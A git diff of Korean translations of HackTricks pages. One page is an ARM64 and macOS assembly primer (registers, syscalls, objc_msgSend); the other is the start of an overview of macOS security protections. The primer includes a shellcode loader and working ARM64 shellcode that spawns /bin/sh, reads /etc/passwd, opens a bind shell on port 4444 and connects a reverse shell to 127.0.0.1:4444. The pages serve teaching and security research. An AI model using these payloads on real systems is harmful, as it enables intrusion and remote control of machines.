.code 32 ; Begin using A32
|
||||
|
@ -281,49 +281,64 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
### 레지스터
|
||||
### Registers
|
||||
|
||||
32비트 레지스터가 16개 있습니다 (r0-r15). **r0부터 r14까지**는 **어떤 작업에도 사용**할 수 있지만, 일부는 일반적으로 예약되어 있습니다:
|
||||
16개의 32비트 레지스터(r0-r15)가 있습니다. **r0에서 r14까지**는 **모든 작업**에 사용할 수 있지만, 그 중 일부는 일반적으로 예약되어 있습니다:
|
||||
|
||||
- **`r15`**: 프로그램 카운터 (항상). 다음 명령의 주소를 포함합니다. A32에서는 현재 + 8, T32에서는 현재 + 4입니다.
|
||||
- **`r11`**: 프레임 포인터
|
||||
- **`r12`**: 프로시저 내부 호출 레지스터
|
||||
- **`r13`**: 스택 포인터
|
||||
- **`r14`**: 링크 레지스터
|
||||
* **`r15`**: 프로그램 카운터(항상). 다음 명령어의 주소를 포함합니다. A32에서는 현재 + 8, T32에서는 현재 + 4입니다.
|
||||
* **`r11`**: 프레임 포인터
|
||||
* **`r12`**: 절차 내 호출 레지스터
|
||||
* **`r13`**: 스택 포인터
|
||||
* **`r14`**: 링크 레지스터
|
||||
|
||||
또한, 레지스터는 **`은행 레지스트리`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 권한이 필요한 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있도록 하기 위한 곳입니다. 이는 예외가 발생한 프로세서 모드의 `CPSR`에서 프로세서 상태를 `SPSR`로 저장함으로써 수행됩니다. 예외가 반환되면 `CPSR`이 `SPSR`에서 복원됩니다.
|
||||
또한, 레지스터는 **`banked registries`**에 백업됩니다. 이는 레지스터 값을 저장하여 예외 처리 및 특권 작업에서 **빠른 컨텍스트 전환**을 수행할 수 있게 해줍니다. 매번 레지스터를 수동으로 저장하고 복원할 필요가 없습니다.\
|
||||
이는 **예외가 발생한 프로세서 모드의 `CPSR`에서 `SPSR`로 프로세서 상태를 저장함으로써** 이루어집니다. 예외가 반환될 때, **`CPSR`**는 **`SPSR`**에서 복원됩니다.
|
||||
|
||||
### CPSR - 현재 프로그램 상태 레지스터
|
||||
|
||||
AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예외가 발생하여 나중에 실행을 복원할 때 **`SPSR_ELx`**에도 저장됩니다:
|
||||
AArch32에서 CPSR은 AArch64의 **`PSTATE`**와 유사하게 작동하며, 예외가 발생할 때 나중에 실행을 복원하기 위해 **`SPSR_ELx`**에 저장됩니다:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
필드는 몇 가지 그룹으로 나뉩니다:
|
||||
필드는 몇 개의 그룹으로 나뉩니다:
|
||||
|
||||
- Application Program Status Register (APSR): 산술 플래그 및 EL0에서 접근 가능
|
||||
- 실행 상태 레지스터: 프로세스 동작 (운영 체제에 의해 관리됨).
|
||||
* 응용 프로그램 프로그램 상태 레지스터(APSR): 산술 플래그 및 EL0에서 접근 가능
|
||||
* 실행 상태 레지스터: 프로세스 동작(운영 체제에 의해 관리됨).
|
||||
|
||||
#### Application Program Status Register (APSR)
|
||||
#### 응용 프로그램 프로그램 상태 레지스터(APSR)
|
||||
|
||||
- **`N`**, **`Z`**, **`C`**, **`V`** 플래그 (AArch64와 동일)
|
||||
- **`Q`** 플래그: 전문화된 포화 산술 명령 실행 중 **정수 포화가 발생할 때** 1로 설정됩니다. 한 번 **`1`**로 설정되면 수동으로 0으로 설정될 때까지 유지됩니다. 또한, 그 값을 암시적으로 확인하는 명령이 없으므로 수동으로 읽어야 합니다.
|
||||
- **`GE`** (이상 또는 같음) 플래그: SIMD (단일 명령, 다중 데이터) 작업에서 사용됩니다. "병렬 덧셈" 및 "병렬 뺄셈"과 같은 이러한 작업은 한 번에 여러 데이터 포인트를 처리할 수 있습니다.
|
||||
* **`N`**, **`Z`**, **`C`**, **`V`** 플래그( AArch64와 동일)
|
||||
* **`Q`** 플래그: 특수한 포화 산술 명령어 실행 중 **정수 포화가 발생할 때** 1로 설정됩니다. **`1`**로 설정되면 수동으로 0으로 설정될 때까지 값을 유지합니다. 또한, 그 값이 암묵적으로 확인되는 명령어는 없으며, 수동으로 읽어야 합니다.
|
||||
* **`GE`** (크거나 같음) 플래그: SIMD(단일 명령어, 다중 데이터) 작업에서 사용되며, "병렬 덧셈" 및 "병렬 뺄셈"과 같은 작업을 포함합니다. 이러한 작업은 단일 명령어로 여러 데이터 포인트를 처리할 수 있게 해줍니다.
|
||||
|
||||
예를 들어, **`UADD8`** 명령은 병렬로 4쌍의 바이트(두 개의 32비트 피연산자에서)를 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 이러한 결과를 기반으로 **`APSR`**의 **`GE`** 플래그를 설정합니다. 각 GE 플래그는 해당 바이트 쌍에 대한 덧셈이 **오버플로우**되었는지를 나타냅니다.
|
||||
예를 들어, **`UADD8`** 명령어는 **네 쌍의 바이트**(두 개의 32비트 피연산자에서)를 병렬로 더하고 결과를 32비트 레지스터에 저장합니다. 그런 다음 **`APSR`**에서 이러한 결과를 기반으로 **`GE`** 플래그를 설정합니다. 각 GE 플래그는 바이트 쌍의 덧셈이 **오버플로우**되었는지를 나타냅니다.
|
||||
|
||||
**`SEL`** 명령은 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다.
|
||||
**`SEL`** 명령어는 이러한 GE 플래그를 사용하여 조건부 작업을 수행합니다.
|
||||
|
||||
#### 실행 상태 레지스터
|
||||
|
||||
- **`J`** 및 **`T`** 비트: **`J`**는 0이어야 하며 **`T`**가 0이면 A32 명령 세트가 사용되고, 1이면 T32가 사용됩니다.
|
||||
- **IT 블록 상태 레지스터** (`ITSTATE`): 이들은 10-15 및 25-26 비트입니다. **`IT`** 접두사 그룹 내의 명령에 대한 조건을 저장합니다.
|
||||
- **`E`** 비트: **엔디안**을 나타냅니다.
|
||||
- **모드 및 예외 마스크 비트** (0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1) 또는 64비트(0)로 실행되는지를 나타냅니다. 다른 4개는 현재 사용 중인 **예외 모드**를 나타냅니다 (예외가 발생하고 처리 중일 때). 숫자 세트는 이 처리 중에 다른 예외가 트리거될 경우 **현재 우선 순위**를 나타냅니다.
|
||||
* **`J`** 및 **`T`** 비트: **`J`**는 0이어야 하며, **`T`**가 0이면 A32 명령어 세트가 사용되고, 1이면 T32가 사용됩니다.
|
||||
* **IT 블록 상태 레지스터**(`ITSTATE`): 10-15 및 25-26의 비트입니다. **`IT`** 접두사가 붙은 그룹 내의 명령어에 대한 조건을 저장합니다.
|
||||
* **`E`** 비트: **엔디안**을 나타냅니다.
|
||||
* **모드 및 예외 마스크 비트**(0-4): 현재 실행 상태를 결정합니다. **5번째** 비트는 프로그램이 32비트(1)로 실행되는지 또는 64비트(0)로 실행되는지를 나타냅니다. 나머지 4개는 **현재 사용 중인 예외 모드**를 나타냅니다(예외가 발생하고 처리 중일 때). 설정된 숫자는 **현재 우선 순위**를 나타냅니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**: 특정 예외는 **`A`**, `I`, `F` 비트를 사용하여 비활성화할 수 있습니다. **`A`**가 1이면 **비동기 중단**이 트리거됩니다. **`I`**는 외부 하드웨어 **인터럽트 요청** (IRQs)에 응답하도록 구성하고, F는 **빠른 인터럽트 요청** (FIRs)와 관련이 있습니다.
|
||||
* **`AIF`**: 특정 예외는 **`A`**, `I`, `F` 비트를 사용하여 비활성화할 수 있습니다. **`A`**가 1이면 **비동기 중단**이 발생함을 의미합니다. **`I`**는 외부 하드웨어 **인터럽트 요청**(IRQ)에 응답하도록 구성합니다. F는 **빠른 인터럽트 요청**(FIR)과 관련이 있습니다.
|
||||
|
||||
## macOS
|
||||
|
||||
### BSD 시스템 호출
|
||||
|
||||
[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)를 확인하세요. BSD 시스템 호출은 **x16 > 0**을 가집니다.
|
||||
|
||||
### Mach 트랩
|
||||
|
||||
[mach_trap_table](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)에서 `mach_trap_table`을 확인하고 [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)에서 프로토타입을 확인하세요. Mach 트랩의 최대 수는 `MACH_TRAP_TABLE_COUNT` = 128입니다. Mach 트랩은 **x16 < 0**을 가지므로, 이전 목록의 번호를 **음수**로 호출해야 합니다: **`_kernelrpc_mach_vm_allocate_trap`**는 **`-10`**입니다.
|
||||
|
||||
이러한 (및 BSD) 시스템 호출을 호출하는 방법을 찾으려면 **`libsystem_kernel.dylib`**를 디스어셈블러에서 확인할 수 있습니다:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -333,31 +348,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
**Ida**와 **Ghidra**는 캐시를 통과시켜 **특정 dylibs**를 디컴파일할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
가끔은 **`libsystem_kernel.dylib`**에서 **디컴파일된** 코드를 확인하는 것이 **소스 코드**를 확인하는 것보다 쉬울 수 있습니다. 왜냐하면 여러 시스템 호출 (BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에 (소스 코드의 주석을 확인하십시오) dylib에서 호출되는 내용을 찾을 수 있습니다.
|
||||
때때로 **소스 코드**를 확인하는 것보다 **`libsystem_kernel.dylib`**에서 **디컴파일된** 코드를 확인하는 것이 더 쉽습니다. 여러 시스템 호출(BSD 및 Mach)의 코드는 스크립트를 통해 생성되기 때문에(소스 코드의 주석을 확인하세요) dylib에서는 호출되는 내용을 찾을 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### machdep calls
|
||||
### machdep 호출
|
||||
|
||||
XNU는 또 다른 유형의 호출인 machine dependent를 지원합니다. 이러한 호출의 수는 아키텍처에 따라 다르며 호출 또는 번호가 일정하지 않을 수 있습니다.
|
||||
XNU는 머신 의존적인 호출이라는 또 다른 유형의 호출을 지원합니다. 이러한 호출의 수는 아키텍처에 따라 다르며 호출이나 숫자가 일정하게 유지될 것이라고 보장되지 않습니다.
|
||||
|
||||
### comm page
|
||||
### comm 페이지
|
||||
|
||||
이는 모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 사용자 모드에서 커널 공간으로의 전환을 시스템 호출을 사용하는 것보다 빠르게 만들기 위해 사용됩니다. 이러한 전환은 시스템 호출을 사용하는 것보다 효율적이지 않을 정도로 자주 사용되는 커널 서비스를 위해 사용됩니다.
|
||||
이것은 모든 사용자 프로세스의 주소 공간에 매핑된 커널 소유 메모리 페이지입니다. 이는 사용자 모드에서 커널 공간으로의 전환을 syscalls를 사용하는 것보다 더 빠르게 하도록 설계되었습니다. 커널 서비스가 너무 많이 사용되기 때문에 이 전환은 매우 비효율적일 수 있습니다.
|
||||
|
||||
예를 들어, `gettimeofdate` 호출은 `timeval`의 값을 comm 페이지에서 직접 읽습니다.
|
||||
예를 들어, 호출 `gettimeofdate`는 comm 페이지에서 `timeval`의 값을 직접 읽습니다.
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
Objective-C 또는 Swift 프로그램에서이 함수를 자주 찾을 수 있습니다. 이 함수를 사용하면 Objective-C 객체의 메서드를 호출할 수 있습니다.
|
||||
Objective-C 또는 Swift 프로그램에서 이 함수가 사용되는 것을 찾는 것은 매우 일반적입니다. 이 함수는 Objective-C 객체의 메서드를 호출할 수 있게 해줍니다.
|
||||
|
||||
매개변수 ([자세한 정보는 문서에서 확인](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
매개변수 ([문서에서 더 많은 정보](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
|
||||
* x0: self -> 인스턴스에 대한 포인터
|
||||
* x1: op -> 메서드의 선택자
|
||||
* x2... -> 호출된 메서드의 나머지 인수
|
||||
|
||||
따라서이 함수로의 분기 전에 중단점을 설정하면 lldb에서 호출된 내용을 쉽게 찾을 수 있습니다 (이 예에서 객체가 `NSConcreteTask`의 객체를 호출하여 명령을 실행합니다).
|
||||
따라서 이 함수로의 분기 전에 중단점을 설정하면, lldb에서 호출되는 내용을 쉽게 찾을 수 있습니다(이 예제에서 객체는 명령을 실행할 `NSConcreteTask`의 객체를 호출합니다):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
|
@ -376,30 +393,30 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
환경 변수 **`NSObjCMessageLoggingEnabled=1`**을 설정하면 `/tmp/msgSends-pid`와 같은 파일에이 함수가 호출될 때 로깅할 수 있습니다.
|
||||
환경 변수 **`NSObjCMessageLoggingEnabled=1`**를 설정하면 `/tmp/msgSends-pid`와 같은 파일에서 이 함수가 호출될 때 로그를 기록할 수 있습니다.
|
||||
|
||||
또한 **`OBJC_HELP=1`**을 설정하고 어떤 이진 파일을 호출하면 발생하는 특정 Objc-C 작업을 로깅하는 데 사용할 수있는 다른 환경 변수를 볼 수 있습니다.
|
||||
또한 **`OBJC_HELP=1`**을 설정하고 이진 파일을 호출하면 특정 Objc-C 작업이 발생할 때 **로그**에 사용할 수 있는 다른 환경 변수를 볼 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
이 함수가 호출될 때 지정된 인스턴스의 호출된 메소드를 찾아야합니다. 이를 위해 다음과 같은 다른 검색이 수행됩니다:
|
||||
이 함수가 호출되면, 지정된 인스턴스의 호출된 메서드를 찾아야 하며, 이를 위해 다양한 검색이 수행됩니다:
|
||||
|
||||
* 낙관적 캐시 조회 수행:
|
||||
* 성공하면 완료
|
||||
* runtimeLock 획득 (읽기)
|
||||
* (realize && !cls->realized)이면 클래스를 실현
|
||||
* (initialize && !cls->initialized)이면 클래스를 초기화
|
||||
* 만약 (realize && !cls->realized) 클래스 실현
|
||||
* 만약 (initialize && !cls->initialized) 클래스 초기화
|
||||
* 클래스 자체 캐시 시도:
|
||||
* 성공하면 완료
|
||||
* 클래스 메소드 목록 시도:
|
||||
* 찾으면 캐시를 채우고 완료
|
||||
* 수퍼 클래스 캐시 시도:
|
||||
* 클래스 메서드 목록 시도:
|
||||
* 발견되면, 캐시를 채우고 완료
|
||||
* 슈퍼클래스 캐시 시도:
|
||||
* 성공하면 완료
|
||||
* 수퍼 클래스 메소드 목록 시도:
|
||||
* 찾으면 캐시를 채우고 완료
|
||||
* (resolver) 메소드 리졸버 시도하고 클래스 조회부터 반복
|
||||
* 여전히 여기에 있다면 (= 모든 것이 실패한 경우) 포워더 시도
|
||||
* 슈퍼클래스 메서드 목록 시도:
|
||||
* 발견되면, 캐시를 채우고 완료
|
||||
* 만약 (resolver) 메서드 리졸버 시도, 그리고 클래스 조회에서 반복
|
||||
* 여전히 여기 있으면 (= 모든 것이 실패했음) 포워더 시도
|
||||
|
||||
### 셸코드
|
||||
### Shellcodes
|
||||
|
||||
컴파일하려면:
|
||||
```bash
|
||||
|
@ -416,7 +433,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
|
|||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
새로운 macOS를 위해:
|
||||
신형 macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -425,7 +442,7 @@ done
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>쉘코드를 테스트하는 C 코드</summary>
|
||||
<summary>셸코드를 테스트하는 C 코드</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -473,12 +490,12 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
#### 쉘
|
||||
#### Shell
|
||||
|
||||
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용을 설명합니다.
|
||||
[**여기**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)에서 가져온 내용과 설명.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="adr를 사용한 경우" %}
|
||||
{% tab title="adr 사용" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -495,7 +512,7 @@ sh_path: .asciz "/bin/sh"
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% 탭 제목="스택과 함께" %}
|
||||
{% tab title="스택 사용" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -526,7 +543,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="리눅스용 adr과 함께" %}
|
||||
{% tab title="리눅스를 위한 adr" %}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
|
@ -547,7 +564,7 @@ sh_path: .asciz "/bin/sh"
|
|||
|
||||
#### cat으로 읽기
|
||||
|
||||
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`을 실행하는 것이므로 두 번째 인자 (x1)는 매개변수의 배열입니다 (메모리에서는 주소의 스택을 의미합니다).
|
||||
목표는 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`를 실행하는 것이므로, 두 번째 인수(x1)는 매개변수의 배열입니다(메모리에서 이는 주소의 스택을 의미합니다).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -573,7 +590,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### fork에서 sh를 사용하여 명령을 호출하여 주 프로세스가 종료되지 않도록 함
|
||||
#### 포크에서 sh로 명령어 호출하여 메인 프로세스가 종료되지 않도록 하기
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -617,9 +634,9 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### 바인드 쉘
|
||||
#### Bind shell
|
||||
|
||||
[https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s)에서 **포트 4444**로 바인드 쉘을 가져옵니다.
|
||||
**포트 4444**에서 [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s)의 Bind shell
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -701,9 +718,9 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### 역쉘
|
||||
#### Reverse shell
|
||||
|
||||
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)에서 revshell을 **127.0.0.1:4444**로 설정합니다.
|
||||
[https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s)에서 **127.0.0.1:4444**로 revshell
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -771,16 +788,16 @@ mov x16, #59
|
|||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 기법을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS 보안 보호
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -10,7 +10,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -27,6 +27,10 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
## 프로세스 제한
|
||||
|
||||
### MACF
|
||||
|
||||
|
||||
|
||||
### SIP - 시스템 무결성 보호
|
||||
|
||||
{% content-ref url="macos-sip.md" %}
|
||||
|
@ -51,22 +55,22 @@ macOS 샌드박스는 샌드박스 내에서 실행되는 애플리케이션의
|
|||
|
||||
### 실행/환경 제약 및 신뢰 캐시
|
||||
|
||||
macOS의 실행 제약은 **프로세스 시작을 규제**하는 보안 기능으로, **누가** 프로세스를 시작할 수 있는지, **어떻게**, **어디서** 시작할 수 있는지를 정의합니다. macOS Ventura에서 도입된 이 기능은 시스템 바이너리를 제약 카테고리로 분류하여 **신뢰 캐시** 내에 저장합니다. 모든 실행 가능한 바이너리는 **자기**, **부모**, **책임** 제약을 포함한 **시작**에 대한 **규칙**이 설정되어 있습니다. macOS Sonoma에서 타사 앱에 대해 **환경** 제약으로 확장되어, 이러한 기능은 프로세스 시작 조건을 규제하여 잠재적인 시스템 악용을 완화하는 데 도움을 줍니다.
|
||||
macOS의 실행 제약은 **프로세스 시작을 규제**하는 보안 기능으로, **누가**, **어떻게**, **어디서** 프로세스를 시작할 수 있는지를 정의합니다. macOS Ventura에서 도입된 이 기능은 시스템 바이너리를 제약 카테고리로 분류하여 **신뢰 캐시** 내에 저장합니다. 모든 실행 가능한 바이너리는 **자기**, **부모**, **책임** 제약을 포함한 **시작**에 대한 규칙이 설정되어 있습니다. macOS Sonoma에서 제3자 앱에 대해 **환경** 제약으로 확장되어, 이러한 기능은 프로세스 시작 조건을 규제하여 잠재적인 시스템 악용을 완화하는 데 도움이 됩니다.
|
||||
|
||||
{% content-ref url="macos-launch-environment-constraints.md" %}
|
||||
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## MRT - 악성 소프트웨어 제거 도구
|
||||
## MRT - 맬웨어 제거 도구
|
||||
|
||||
악성 소프트웨어 제거 도구(MRT)는 macOS 보안 인프라의 또 다른 부분입니다. 이름에서 알 수 있듯이, MRT의 주요 기능은 **감염된 시스템에서 알려진 악성 소프트웨어를 제거하는 것**입니다.
|
||||
맬웨어 제거 도구(MRT)는 macOS 보안 인프라의 또 다른 부분입니다. 이름에서 알 수 있듯이, MRT의 주요 기능은 **감염된 시스템에서 알려진 맬웨어를 제거하는 것**입니다.
|
||||
|
||||
Mac에서 악성 소프트웨어가 감지되면(XProtect 또는 다른 방법으로), MRT를 사용하여 자동으로 **악성 소프트웨어를 제거**할 수 있습니다. MRT는 백그라운드에서 조용히 작동하며, 일반적으로 시스템이 업데이트되거나 새로운 악성 소프트웨어 정의가 다운로드될 때 실행됩니다(악성 소프트웨어를 감지하기 위한 규칙이 바이너리 내부에 있는 것으로 보입니다).
|
||||
Mac에서 맬웨어가 감지되면(XProtect 또는 다른 방법으로), MRT를 사용하여 자동으로 **맬웨어를 제거**할 수 있습니다. MRT는 백그라운드에서 조용히 작동하며, 일반적으로 시스템이 업데이트되거나 새로운 맬웨어 정의가 다운로드될 때 실행됩니다(맬웨어를 감지하기 위한 규칙이 바이너리 내부에 있는 것으로 보입니다).
|
||||
|
||||
XProtect와 MRT는 모두 macOS의 보안 조치의 일부이지만, 서로 다른 기능을 수행합니다:
|
||||
|
||||
* **XProtect**는 예방 도구입니다. 이는 **파일이 다운로드될 때**(특정 애플리케이션을 통해) 파일을 검사하고, 알려진 악성 소프트웨어 유형이 감지되면 **파일이 열리는 것을 방지**하여 악성 소프트웨어가 시스템에 감염되는 것을 방지합니다.
|
||||
* **MRT**는 반응 도구입니다. 이는 시스템에서 악성 소프트웨어가 감지된 후 작동하며, 문제의 소프트웨어를 제거하여 시스템을 정리하는 것을 목표로 합니다.
|
||||
* **XProtect**는 예방 도구입니다. 이는 **파일이 다운로드될 때**(특정 애플리케이션을 통해) 파일을 검사하고, 알려진 유형의 맬웨어가 감지되면 **파일이 열리는 것을 방지**하여 맬웨어가 시스템에 감염되는 것을 방지합니다.
|
||||
